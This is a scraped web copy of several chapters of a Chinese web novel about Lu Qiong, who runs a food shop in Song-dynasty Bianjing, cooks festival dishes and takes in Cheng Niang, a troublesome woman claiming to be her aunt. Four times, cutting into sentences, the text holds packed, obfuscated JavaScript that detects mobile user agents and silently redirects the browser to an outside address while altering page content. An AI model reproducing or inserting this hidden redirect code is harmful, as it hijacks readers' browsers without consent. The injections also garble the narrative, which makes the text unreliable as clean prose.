屋子里没亮灯，本以为陆萱还未回来，背后竟然钻出个人影，得意地笑：“阿姐竟然比我还迟回来，可是约了谁出去？” 叫陆琼吓一跳，拍拍胸脯，缓了下菜瞪一眼她：“你可是想换一个阿姐？” 陆萱笑着摇头，可那股兴奋劲却出卖了她，忽地皱了皱鼻子，闭着眼道：“我闻到一股香味，可是背着我偷偷吃了浮元子？” 一路嗅，最后发现是陆琼手上提着的油纸。 见藏不住，陆琼便拿出来：“你可真是有好鼻子，比雪儿的还管用！” 被她们提起的雪儿早早入睡，身上还穿着陆萱亲自做的“新衣裳”，时不时还发出打盹声。 随后两人搬来椅子，挨在树下坐，借着灯笼的光拆开油纸，一个个圆滚滚、小巧的糯米团子便露出来。 澄沙团子里头是豆沙馅，与汤圆类似，不过个头要大上许多，在外头裹上一层糯米粉，煮熟便能食用。 陆琼买回来这份都凉了，看着卖相一般。 陆萱洗净手，抓了一个到手里，吃惯陆记的豆沙馅，如今吃外头的便觉得少了点什么，许是馅料没放足的缘故。 “这糖放少了些，若是多加点糖会更好……” 陆琼咬一口团子，嘴边沾了一圈糯米粉，却说出相反的话：“我觉得正好，软糯香甜皆适宜。” 糯米做的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190802|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团子容易吃腻，陆萱吃了一个便不肯再吃，倒是陆琼还比平日多吃上一个。 ...... 元日刚过，陆记便也重新开张，可依旧在节日氛围里，她们铺子便也应景，上新了浮元子、年糕、胶牙饧…… 这日陆记正准备酿酒，做几坛子桃酒。 陆琼叫人运来酒坛，洗净内壁、擦干、晾在后门处。再叫陆萱一块选桃子，把外皮破损的、为成熟的挑出来，余下的便是甜度高的。 刚洗完桃子，陆萱便乘机偷了个桃儿，放在嘴里狠狠咬上一大口，汁水便顺着嘴边滋出来。 陆琼早已习惯，将余下的桃子去皮、去核、切成小块、捣碎，桃肉用纱布裹住，手一用劲，淡粉的汁水便顺流到纱布底部。 屋子里都是浓郁的桃子香，还未放酒曲，便先醉了人。 待放了酒曲，还加了熟糯米，这样一来酒味只会更醇厚，最后封顶，过上□□日便能酿好。 后来陆萱也不知去哪，只剩下陆琼在收尾。 “阿姐！有人来了……”陆萱忽然喘着气跑进来。 陆琼用湿布在酒坛外擦一圈，擦下不少溢出来的汁水：“来人你招待便是，叫我有何用？” 陆萱还没顺气，胸口起伏着：“她说是娘的妹妹……” 原身娘的妹妹？ 陆琼没印象，可也不能放着不管，湿布随意一放，手里的水渍擦在围裙上，便匆匆出去。 墙边坐着一位娘子，看起来才过三十，年纪上倒也对得上。 许是经常在外劳作，皮肤有些粗糙，身上衣裳有些旧，不知穿了多久，至于长相……陆琼也看不太出，毕竟她对原身娘的记忆也不深。 见她来了，程娘也只是抬头看一眼，便继续埋头喝粥，还没吃下去又往嘴里塞一块饼。 陆琼只好再次打招呼，耐心询问：“你真是我娘的妹妹？” 程娘咽了一大口饼，差点噎着，陆萱也顺手递上一杯茶，是新泡的，正烫着，那句“小心烫”刚出口，程娘便一口闷下去，直接吐了出来。 她不停扇风，眼泪都要出来，叫陆琼她们看着揪心，这回倒是杨姐儿端来了凉水。 缓了缓，程娘才开口，只是舌头还有些不利索，倒也没有怪罪谁：“算是她妹妹，以前跟着一块到上元村去的。” 她只肯说到这，再多的却不肯开口，陆琼倒还好，跟原身的娘无多大感情。 可陆萱不同，这些年虽懂事不少，却时常会想起逝去的爹娘。不过时间一久，记忆也渐渐模糊，如今被重新翻出来，压在心底的情感便再也藏不住。 见她可怜，程娘也依旧铁石心肠，不肯再透露半个字：“人都不在了，说这些有何意义，还不若给我多吃几块饼。” 陆琼多问几句别的，才知道她如今还没找到住所，便将人安置在龙津桥的客栈。 回来路上，还恰好碰见施三娘，提着一壶屠苏酒，也不知是给谁的：“琼姐儿上哪去了？” 因藏着心事，陆琼只能勉强笑：“方才有亲人寻来，才将人安置好。” 57. 浮元子 施三娘有事要出门一趟，不好打扰，陆琼跟她闲聊几句便回陆记。 明日便是上元节，全汴京的食铺都在想尽法子招徕食客，把看家本领都拿出来。 陆记自是不例外，早已想好上元节要推出的新样式——浮元子。各种馅料都有，芝麻的、豆沙的、枣泥的，不过陆琼也觉得可惜，毕竟现下花生还未传入中原。 再说浮元子，也就是元宵、汤圆，追究起来，吃元宵的习俗还是从大宋传起，糯米粉包上各种馅料，便做成不同口味。 杨姐儿站在灶台旁，在锅里刷一层油，嗞嗞冒着热气，手一弯，碗里的芝麻便全都下锅里，油温过高，便噼里啪啦响，香味也从内散倒屋子外。 路过的行人皆抻长了脖子瞧，皱着鼻子，就想知道是谁家这般香！ 陆琼见状也得意，毕竟陆记出品，全是上品！随后也忍不住笑着夸赞杨姐儿：“手艺愈发精湛，真怕哪家酒楼跑来挖我墙角！” 杨姐儿洗净手，便已经开始揉糯米皮，听闻这话，腼腆地笑：“小娘子别总是打趣人，比起那些手艺好的厨娘，我还差远了。” 见她耳尖开始泛红，陆琼也知她是真的不好意思，便也放过她，挽起袖子，也跟着倒水做糯米皮。 杨姐儿搅着面粉，她便在一旁倒水，一不小心水加多了些，又从碗里倒了点糯米粉。 很快，光滑的面团便揉成，盆里、手心也一点不沾粉。 正是忙时，陆萱却去找魏盼玩了，陆琼想着节日的氛围也没过，便由着她去。不过还是叮嘱几句：“外头若是下雪了，弄湿衣裳就得赶快回来。” 陆萱从锅里顺走一袋炒栗子、一袋煨芋头，塞进棉衣里，呵着气便冲到街上：“知道了！” 杨姐儿扯了扯糯米皮，柔软有弹性，望着她欢快的背影，也泛起笑意：“萱姐儿整日都生龙活虎，到底是随了谁？我瞧小娘子就比她沉稳多了。” 还能随谁，原身爹就是个欢脱的性子，若硬要说，陆琼还真觉得自己跟原身娘有些像。 这样一来，便不可避免想起方才的人，她也不知道该如何处理。 罢了罢了，先做好今日的浮元子，旁的食客可是等得熟水都凉了！ 炒完的芝麻还得碾碎，陆琼又得拿出千年不变的石臼，倒上芝麻，不断捣成碎，直到接近粉状的质感，加糖再搅拌一回，便可倒上猪油。 比起别的油，猪油会更加醇厚，香味更浓，也能让芝麻馅更香滑。她凑近一闻，忍不住深吸一大口，真的好香。 豆沙馅、枣泥馅也如法炮制，放在一旁备好。 趁这间隙，杨姐儿也将糯米皮分成大小相近的剂子，还撒了些糯米粉，防止糯米团粘在板子上。 屋檐外飘起小雪，染湿了青砖，州桥上的行人皆走快些，只想赶紧找到歇脚的地儿。 陆记正烧着炉子，不仅暖，还避风，只因她们铺子的门小，却不影响汤圆的香味往外飘。 一位郎君裹紧衣裳，吸了吸鼻子，循着香味便走进一家店，坐在位子上，这才展开紧绷的身子，手脚也渐渐回暖。 陆琼立马端上新茶，还冒着热气，正是雪中送炭的时候：“客官可要来份浮元子？明日便是上元佳节，不妨提前尝尝鲜！” 郎君不说话，点点头，却见伸手握住茶盏的手发红，定是在外待了许久。 陆琼离开时，便把火炉靠他哪出移了点。 一碗浮元子，芝麻、豆沙、枣泥全混在一起，熬出的汤汁味道淡，便加了些糖，为了好看，还撒了一小撮桂花。 郎君话不多，尝了热乎乎的元子，才说出进门第一句话：“掌柜，你家的元子是咸的？” 咸的？ 陆琼自是摇头：“我家元子都是甜的，没有咸的。” 还没弄清楚，许久不见的钱掌柜也来访，对她的行为鄙夷：“陆掌柜这般做生意不行，任何一位客人都应当认真对待，是咸是甜，尝了才知道。” 陆琼便给郎君盛了一碗新的浮元子，在加糖时才想起来，方才糖用完了，还没来得及买新的，这是盐…… 见她失手了，钱掌柜终于扬眉吐气一回，面上也有了淡淡的笑意：“对待吃食上，你还差了些。” 随后又满意地点头，找杨姐儿要了份浮元子。 看不懂他这是为了哪出？陆琼暗自摇头，一脸疑惑地离开。 钱掌柜从陆记离开后，心情依旧不错，直到回自家铺子里。 钱记是小有规模的酒楼，虽比不上大酒楼，却也是汴京小食铺的领头羊，有不少人前来，只为尝一回他做的吃食。 可不知何时开始，钱掌柜便不掌勺了，再也没人尝过他的手艺，如今倒铺子里的，一是念旧，二是想拜他为师。 毕竟他手中的方子，可是叫人惦记许久，也不知会落在谁手中。 下午雪便停了，陆琼取了新糯米粉，重新做了点汤圆，在锅里倒水和糖，放柴烧到小火，直到“咕噜咕噜”冒着泡，糖也煮化，便下醪糟。 才放不久，一股酒味便浮起，汤圆也跟着下，一个个小圆子便咕咚入水。 为了丰富口感，还加了打散的蛋、红枣、枸杞，因着普通的糖有些寒凉，便换成了红糖，熬出的糖水也带着暗红色。 装到食盒，扣上盖子，陆琼便带上纸伞去谢府。 谢府门前覆上一层薄薄的雪，侍从带她进入后宅，引到何慕的院子。 便见桃红取来一些红罗炭，放进火盆里，再用铁钳把镂空的熏笼罩在上面，防止炭灰飘散。 何慕坐在太师椅缝补衣物，许是想到什么，嘴角扬起一抹浅浅的笑意。 见陆琼来了，便放下手中的衣物，把她叫过来。 陆琼知道她整日闷在屋里，加上雪日，不好出去散心，便说去上回的元日，游画舫、看烟花、逛灯会…… 说起享乐之事，她便忍不住笑，这一欢快的情绪也感染了何慕：“待早春的雪过了，我也要去坐一回画舫。” 还聊到踏青、春耕之事，这一话题也引起何慕的兴致，便提起谢洵来。说他在四处走动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201968|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，忙着木棉种植的事宜，也差不多有结果了。 陆琼点头，原来中原已经开始种植棉花了。 想到食盒还搁在一旁，便揭开来，所幸还冒着热气。何慕也趁热吃了不少，咬一口便流出乌黑的芝麻馅。 “浮元子还有韧劲，你的手真巧。” 见她喜欢，陆琼也叫她多吃些，待斜阳落入地砖她才离开。 方才说到棉，陆琼也想起程娘单薄的衣裳，不知她在客栈待得如何，可还适应。 趁着日暮尚未归山，她也攥着荷包去附近的成衣铺卖两身棉衣，都是偏深色的，符合程娘的气质。 等过了上元节，汴京的雪也就会少上许多，至少比不得腊月那般频繁。 龙津桥的客栈有好几家，唯有一家有三层高，本来程娘还不肯住的，说是累人。不过她一摆架子，陆琼便不管她，竟将她制服了，也就是吃硬不吃软。 陆琼提着两个包裹，还带了一份亲手做的浮元子，刚到三楼，便听见程娘跟人起争执了。 “你这鱼不新鲜……”程娘叉着腰，对着小厮一顿骂，脸都气歪了，还喘着气。 阿木也是无妄之灾。这冰天雪地的，哪里找来活鱼，既不是皇宫贵族，有专门养鱼的冰窖，也不是沿海的人，可以到海里捕鱼。 可掌柜常说，不能跟客人起争执，便只能埋头被训斥。 最后实在忍不住，便回一句：“腌鱼就是不新鲜的，放陶瓮里腌了好几日的。” 他可是瞧庖丁做过好几回了，有一回还是他帮的手。 谁想程娘听了更气，眼见袖子挽起来，可是要动手打人！ 好在陆琼及时赶来，把人给拉走，又跟小厮道歉，还跟被打扰的住客道歉。 陆琼把人推进屋子，关上木门，才长呼一口气：“程娘，你就给我省点心吧，才不到一日，便要跟人动手？” 屋里物件齐全，八仙桌上还留有一份尚未动过多少的腌鱼，程娘坐在凳子上，替自己倒了一盏茶，却被陆琼夺去，一口饮尽。 她本想开口，可见到陆琼那熟悉的眉眼，便只是皱了下眉，便再给自己重新倒一杯。 歇了一会，陆琼才把给她带的棉衣拿出来，还有浮元子。 棉衣布料顺滑，程娘刚拿到手便小心翼翼地摸了好几户，忽地叹一声，把衣裳紧紧贴在胸口。 陆琼瞧见她偷摸抹泪了，便出把食盒打开来：“可别摸坏了，这还有我做的元子，还没彻底冷下来，如今吃正好。” 程娘难得没有反驳，衣裳整齐叠在一旁，便尝起元子，有些不合口味，刚想皱眉，却见陆琼面目表情盯着她看，顿时泄气了。 而她的听话，也让陆琼展开眉头，终于能舒心些。 回到家，还要去喂鸡，鸡圈里共有三只鸡。为了纪念在上元村的两只鸡，也取了相仿的名字，阿黄、小黄、大黄，如今一个个都肥嫩着，就等着明天过节出栅栏！ 现在只差决定怎么吃，蒸鸡太清淡，炸鸡太繁琐，炖鸡倒是鲜嫩，烤又更香…… 58. 药膳鸡 昨夜从龙津桥一路走到东街，见卖货郎的摊子摆了不少灯，便买了两盏，皆是鱼灯。 还做得栩栩如生，鱼嘴张着，鱼尾往上翘，灵动极了。 陆琼一早起来，便挂在门上两旁，一左一右，鱼嘴相对。这叫年年有“鱼”，而她们家还是两条，那便是双倍！ 天一冷，陆萱便总是窝在床上不肯起，叫也叫不动，所幸铺子里有杨姐儿，便也随着她。 可今日不同，上元节的食客定要比往日还多，陆琼故意把手伸出去，放在水里浸上一刻，指尖刚挨到水边冻得不行，直跳脚。 一路跑到陆萱的卧房，见她还在睡梦中，便把手伸进她被窝里，只见陆萱嗷嗷大叫：“阿姐！” 陆琼的手也顺势捂热了，笑着把她叫起来：“说好的今日要来帮闲，还不起就再来一回……” 陆萱整个人缩进被窝里，转身背对着她，一副不听的摸样。 不过最终还是屈服在陆琼手里，眯着眼套上衣裳，便去洗漱，水还冻着，牙一沾上又忍不住嘶一声，这下彻底清醒了。 来不及做早食，便到东街买了包子，正好碰上杨三娘，裴丫也站在一边被她牵着，见她们来了，还咧着嘴笑：“买馒头……” 杨三娘给完钱，也转头看见陆琼二人，便扯了个笑。 裴丫穿得圆滚滚，面色红润，一瞧便知道被照顾得很好，许是上回的事也给他们长记性了。 裴玉一早也出门了，杨姐儿还得回去看铺子，便先走，而裴丫也在身后蹬着小腿跑。 陆琼买了豆沙包、笋丝包，还到水磨豆坊买了碗豆浆，呼呼冒着热气，像是会把嘴烫出泡来。 不过在这种天气里，饮一碗热乎的豆浆，全身都跟着暖和。 笋丝包加了猪油，红油都渗出到包子外皮，陆萱呵着气，咬下一口笋丝，还切了胡萝卜，带着甜味。 昨夜下了一场小雪，陆记前的青石板上积了一层薄薄的雪，留下几个深浅不一的脚印。杨姐儿手握竹扫帚，轻轻扫过地面，嗦嗦作响，雪被推开，露出湿润的青砖。 程娘也说要来帮忙做元子，可等到日上三竿了，也见不着人。 “定是胡乱说的，她就不像是勤快的人。” 陆萱小嘴说个不停，自从知道程娘并非是她亲族后，便胆大起来，连长辈都干编排。 陆琼把新搓的元子端上灶台，隔着一段距离道：“你日后说话得小心些，这话叫人听了算什么。” 被人训了，陆萱高兴不起来，拉着脸，就连最爱的芝麻馅也没干劲做了，胡乱搅一通。 杨姐儿取了个剂子在手中，捏成小碗状，把馅料一点点掐进去，笑得直不起腰。 也是在这时，程娘一脸倦意近来，见她们在包元子，便上前坐下。捏起一小个糯米元子，放在手心压了压，瘪成一个饼状：“看起来也不难做。” 陆琼见她手脏便去碰元子，气得锅里水开了也没下元子，压抑着怒意：“程娘！” 这才第二日，又给她找麻烦，若不是念在她的身份，早给她轰出去了。 程娘只好去洗净手，不过也是挨一下水就起来，最后被陆琼盯着洗了好几回才罢休。 杨姐儿莫名喜欢她，便亲自教她包汤圆，在手中放上剂子：“先搓圆，再按在中间，扯出一个口来，慢慢转成一个窝窝……” 程娘手上有几道疤痕，新旧皆有，手一直在抖，捏成厚度不一的窝窝，只能放不到半勺馅料，不过最后收口也是圆的，算是做成了。 看着与杨姐儿“差不多”的元子，程娘也笑出来：“没想到我还挺有天赋的。” 不清楚的还以为她做了件大事。 陆琼忙得没空歇脚，元子刚煮好一锅，又端来新搓好的，而程娘包的好几个还露馅了，把熬得汤汁都染成黑的了。 不过今日魏盼怎么没来？往日过节，她都是最积极的。 提起这，陆萱便长吁一口气，放下剂子，愤懑不平：“魏荣下月要参加童试，她娘说等考上了家里养不下两个人，叫魏盼嫁人去。” 杨姐儿听了直摇头，却沉默着，而程娘则忍不住，说要是被她碰上这种人，可要打得她满地找牙。 陆萱本伤心着，却被她这动静吓了一大跳，话都不敢说一句。 陆琼扯住程娘的衣袖，留下深深的印子，带着威胁的意味：“你若是离开这铺子一步，下回便不用来了。” 程娘这才安分坐下来，小声嘀咕着：“跟你娘一点也不像……” 许是她随口一说话，却给陆琼心底抛了个石子。 上元这日，食客果真比往日多，而她们忙起来便也想不起烦人的事。 时至晌午，也终于能喘口气，程娘便偷偷盛了一碗汤圆，还只挑芝麻馅的，旁的枣泥、豆沙都不要。 见她没惹事，还乖乖端着碗坐在靠墙的位子上，陆琼便也没意见，何况其余人也跟着盛一碗。 施三娘好似也闲下来，还跑到陆记串门：“你们这真热闹，我到现在还没吃上元子呢。” 陆琼也早已习惯她的到访，顺手递给她手中的汤圆：“新盛的，还热着。” 背对着门坐的程娘却竖起耳朵，总觉得这声音有点耳熟，不过元子真好吃，就算肚子有些撑，还想再来一碗。 “三娘，你家铺子怎么不做浮元子？” 陆琼刚说完，就听见墙角传来一声动静，砰的一声，程娘竟连人带着碗给跑了！ 算了，她做什么都不稀奇，便继续跟施三娘闲聊。 施三娘却不解，下巴指向程娘离开的方向：“不去追？人都跑了。” “她是我先前说到的亲人，”陆琼笑着摇头，还指了下脑袋，“就是这儿不太清醒……” 施三娘点头，望着冒热气的浮元子若有所思。 …… 汴京外的家家户户也挂起各式灯笼，有到市集买的纸糊灯笼，也有亲手做的竹编灯笼。 虞娘家的院子还飘出一股酒香，离姐儿在火炉上加了几块炭，火苗便蹭的窜上来，用铁钳夹着酒壶，隔着一段距离热酒。 见酒壶微微便色，她便取下酒来，忍着烫意揭下木塞子，倒在碗里，经过加热的酒香味更浓了。 离姐儿先凑前去闻一闻，脸也跟着变红，不知是火烤的，还是酒熏的。 她最近靠炒栗子、烤红薯挣了点钱，时而也是干闲汉的活，给人跑跑腿，不过挣得少，毕竟村里人都不愿意花钱叫人送东西。 离姐儿饮下一口酒，便一直踌躇着，最后还是下定决心：“等春耕了，我就到汴京去。” 像琼姐儿一样，她也能在汴京寻得一片天地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205721|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 本以为虞娘会同意，却没想她脸色一下变了，不太高兴，甚至有些生气：“不准去。” 离姐儿放下酒，激动地站起来：“为何？只是去汴京，又不是做什么，我与琼姐儿也没差几岁，她能，为何我不准。” 虞娘不解释，依旧坚持：“不准去。” 望着她的眼神，离姐儿只觉得喘不过气，把自己关进卧房，可去汴京的心愈加强烈。 虞娘顿了许久，才蹲下收拾洒了一地的酒，在堂屋坐了许久，又走到院子里喂鸡。 “先吃大黄，它最肥了！” 陆琼跟陆萱钻进鸡圈里，一个在前，一个在后，势必要把“大黄”捉住。 “大黄”看着重，实际上跑得可快，两翼一展，便扑向陆琼背后，只能抓住它一根鸡毛。 最后演变成“大黄”溜着二人走，最后花上不少时间，它还是难逃一死，被陆琼用麻绳紧紧捆住爪子，唯有两翼还在不停扑棱。 院子也覆了一层雪，好在井口盖了厚厚的稻草，这才没有结冰。 打了水，提到灶房，烧开水，把鸡给处理后，陆琼给切成小块，再放入冷水中，加姜片、酒，焯水去腥，水开后撇去浮沫，捞出鸡块备用。 浮沫含有血水、杂志，不撇去容易生腥味，而且汤汁的卖相也不好。 最后把鸡块放入瓦罐里，加上当归、红枣、莲子……炖上小半时辰，在快要好时，把养好的枸杞倒进去，毕竟过早放枸杞会煮烂，口感也会差。 陆萱乖乖坐着，桌子早擦了，碗也摆好了，就等鸡汤来了。 陆琼隔着布把瓦罐端上桌，还垫着一块布隔热，这时外头便有人敲门。 她放下瓦罐，走到窗边，推开一条缝，风便呼呼往里吹，冷得她直哆嗦，赶紧又放下窗。 “阿姐，是谁啊？” 陆琼摇摇头，决定先出去看一眼。 裹紧衣裳，一路小跑到院子的大门，便见到程娘独自站在外头，换回了原先单薄的衣裳。 待她进来后，陆琼便把门关紧：“你怎么不穿我买的棉衣？” 程娘脸还被冻红了，左顾右望，四处打量这院子，也不回她的话：“真好，院墙也结实，比原先的要好上许多。” 陆萱这时也出来看，躲在木门后，探出个头来，只露出一双眼睛，随着程娘的身影到处转。 待程娘走到门口，还被她眼睛吓一跳，捂着胸口，没好气道：“谁家小孩这般吓人……” 进了屋子，有火炉不断烧着，噼里啪啦响，这才暖和许多。陆琼把火炉上的屠苏酒取下来，给程娘倒了一杯，陆萱也缠着要一杯。 这酒本就不烈，喝上几回还会上瘾，不过平日里都被陆琼锁着，她想偷喝也找不上。 程娘自顾自倒上几杯，才问出困惑了一日的话：“今日的三娘是谁？你们什么关系？” 本是一句平常的话，可她早上着实有些反常，陆琼也警惕了些，笑着说：“不过是隔壁汤饼店的掌柜。” “那还关系这般好？背地里不使绊子就算不错了。” 总之程娘才不信她说的，见闻不出所以然，便闷头喝酒。陆琼怕她喝出毛病来，盛了一碗鸡汤，炖得久，肉都炖软了，还嫩滑着。 一碗下去，替代辛辣的酒，程娘胃里才好受些。 59. 糯米糕 喝完酒，吃过晚食，见外头没下雪，她们便到院里烤火，架起火炉，放上几根红薯，围着火发呆、闲聊。 有点冷，却也感到暖，烤红薯也格外甜糯，陆萱程娘二人吃同一根，还互相掰断，最终都争着吃最大那份，而陆琼则独享一根。 后来飘起小雪，落在火炉上，发出“嘶嘶”的声音，雪便化了，火也弱了。 陆琼感叹真美，程娘却在一旁骂骂咧咧，往炉子里不停加木炭：“雪刚停又下雪……” 所幸还有陆萱在欣赏雪，陆琼便想跟她聊一番，却见她红薯剩了半截在手上，打起瞌睡来了…… 入夜又下了一会儿雪，醒来地上还是湿润的，而门上挂着的鱼灯早就灭了。 程娘也因着天黑在她们家待了一夜。陆琼坚决不肯跟人一起睡，便只能委屈睡着的陆萱跟程娘一起。 许是酒喝多了，程娘醒来头便疼得不行，还发现自己被陆萱挤到床榻边，就差一个翻身便要掉下去，揉揉太阳穴：“这家伙，睡相比我还‘好’……” 给陆萱推到床中间去，还把被褥盖严实了，才悠悠出门去。 真冷，比不得卧房里有炉子来得暖。 她呵着冷气，便闻到一阵香味，灶房的门也没关紧，露出一条缝来，隐约可见蒸汽争前恐后地往外钻。 陆琼站在灶台边，手中刀没停过，噔噔剁着肉馅，见程娘来了，也把她拉过来打下手。 “面都和好了，给我端过来，还有桌上的葱姜水……” 程娘也瞧不出个名堂，干脆听从她吩咐，在剁好的肉馅加入葱姜水。待水一点点吸收了，又撒上几搓粗盐、酱，最后用勺子挑了半勺雪白如脂的猪油。 陆琼不停搅拌着馅料，灶头的柴火还在烧着，热得她全身出汗。 最后还叫程娘把面团擀成薄片，切成小块，做馄饨的皮要很薄，这样口感才滑嫩。 程娘按着她说的，切成小块，最后包上肉馅，她刚包好一个，陆琼便掐好四五个了，动作极快，看得她眼花。 陆琼得意地笑：“我都做好多年了，就是闭着眼也能这般快。” 程娘也难得没反驳，毕竟这是事实。 锅里炖得是鸡汤，如今也正好煮开了，陆琼把包好的馄饨下锅，几声“噗通”，全都如水里。 宋代的馄饨跟后世不同，肉馅放得少，更注重汤底的鲜美，一般用鸡汤或是猪骨汤来熬，刚好昨天吃剩了鸡汤，用来做汤底正好。 不过陆琼喜欢吃肉，所以除了熬汤，馅料也没少包。 她用木匕搅拌着锅里的馄饨，热气呼呼往外散，伴着鸡汤的香味，还有一点葱花、胡椒的味道。 陆萱也跟着起了，在院里打水洗漱，顺便给雪儿、阿黄、小黄喂吃食。 她们还给鸡搭了鸡窝，用竹子、稻草搭了个小棚子，四周堆满了稻草，只留有一个小口，这样就不会被冻到。 灶房里，程娘也帮忙把盛着馄饨的陶碗端到桌上，一路小心翼翼，生怕给摔了，碗摔了事小，可这汤会把人给烫下一层皮。 陆萱则反过来，在鸡窝里捡了一颗蛋，兴冲冲跑进来，脸上笑着：“小黄下了蛋！” 小黄是母鸡，她们买来主要是为了下蛋，等下不动了，才会宰来吃。 陆琼听了也高兴，赶上去看，这可是搬家来下的第一颗蛋，今天就给煮了吃。 程娘见她们心思都在那颗普通的蛋上，用筷子敲了敲碗：“再不来吃，汤都要凉了。” 馄饨热气腾腾，陆萱坐在桌前，吹凉了才放进嘴里，一大口肉，不仅咸香，还带着胡椒的辛味，吃得她眯起眼来。 馄饨皮几乎是透明的，还能看出里面粉嫩的肉馅，皮薄却韧。 程娘也吃爽了，喝一口汤便叹一声：“鸡汤还鲜着，幸好昨夜没给倒了。” 因着昨夜上元节，汴京人都熬到半夜才睡，是以除了汴河边上凿冰打水的百姓，街上并无什么行人。 陆记也没多少食客，程娘闲着无事干，便跟挑夫提着桶到汴河打水。 一月的汴河，空气还弥漫着刺骨的冷意。冰面尚未化开，挑夫握着铁凿，嘿呦一声往下砸，砸开一个小口，但还没凿开冰面。 累了便停下来闲聊：“你是陆掌柜新雇的帮工？” 说完没等程娘回话，便又挥了下铁凿，自顾自道：“不过你可真走运，陆掌柜为人厚道，对人大方，上回我忘了来挑水，她也没责怪我，还叫我雪天要小心。” “杨姐儿也走运，遇上这样好的掌柜，不过这都是羡慕不来的。”挑夫叹一声，又往下砸，陷下一个小小的坑。 程娘等不及，一把夺过铁凿，叫他走开，双手握住木柄，憋着气，一下就劈进冰层里，“咔嚓”——冰破了。 挑夫看愣了，最后大笑一声，竖起拇指来：“没想到小娘子力气如此大。” 程娘不理他，吭哧吭哧把木桶往下一丢，手里拉动着草绳，把装满水的桶提起来。 待桶都装满水，她才扬起眉来：“当年我可是村里捉鱼的老手！” 二人挑着满当当的水回去，尽管再小心，还是免不了洒出些水来。 程娘脚刚迈进去，便听到屋里有人在笑，还有男人的声音。 陆琼方才在蒸糯米，断疤便带着一位小娘子进来，原以为是他的妻子，结果是他的妹妹。 不怪她误解，实在是他们太不像了，一个虎背熊腰，一个身子纤细，断疤说话气粗，巧儿说话则是温柔极了。 庞巧娘抿着嘴笑：“阿兄只是性子有些急。” 笑欢了，她们才聊起正事，不过也不是要紧事。只是庞巧娘从城外搬到汴京了，毕竟一人在乡下有诸多不便，而她也想在汴京寻一份工挣钱糊口，不像总是靠着断疤养。 断疤说到这还挺直了腰板，用不同的话夸了巧娘好几回，弄得巧娘一脸羞涩。 随后话音一转，断疤挠挠头：“不过下月汴河的冰就会化开，我要跟着镖局出城去，不能留在城中照看巧儿，想拖你们帮忙看着点。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223000|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “放心，巧娘交给我正合适。” 杨姐儿也喜欢极了，多一个人也多一份热闹，尤其是最近萱姐儿老往外跑，盼姐儿也没空来，她都没人能聊天。 断疤笑呵呵：“那就成……” 后来他有事，便先走了，巧娘无事则留下来，帮忙做糯米糕。 锅边塞了几条布，用来堵住缝隙，防止里边的蒸汽跑出来。 庞巧娘虽看着瘦弱，力气倒不小，比杨姐儿还强了点。 陆琼啧啧连叹：“真是人不可貌相。” 不过庞巧娘跟杨姐儿还有一点相似，就是夸不得，一夸便会脸红，像是触发了什么按钮。 揭开锅，上边升起一股热腾腾的水雾，忽地又一下散开来，只留有余热在这四周。 满满一整锅糯米，晶莹饱满，表面都镀上一层水珠，好看极了。 庞巧娘跟杨姐儿把锅里的米都倒在木桶里，陆琼趁热撒上一陶瓮的糖，陆萱则在一旁握着长木匕搅拌，憋着劲，把脸都憋红了。 糯米糕既可以用糯米做，也能用糯米粉做。糯米粉做的口感更细腻，也较为好做，揉成面团，搓剂子，包馅料便可。 用糯米做的口感更软糯，也会更有层次感，不过也繁琐些，这些糯米可是泡了好几个时辰，最后也蒸了小半个时辰。 还未开始加馅料，陆萱便皱着鼻子，好似口水都要流出来：“好香啊，方才放了好多糖，一定甜极了……” 惹得众人生笑，皆看着她乐呵着，程娘则在一旁烤火，顺带给大家煮茶。 馅料有豆沙的，也有红枣、芝麻馅的，喜欢硬一些的，还能加上桃仁，口感也会更丰富。 糯米本就是熟的，包好馅料，压实便可，不用再重新上锅。 凉了些，陆琼便用竹刀切成块，塞一小块进嘴里，软糯极了，也带着糖的颗粒感。 陆萱也从背后钻出来，伸手取下好几块，因没做好准备却被烫得嗷嗷叫。 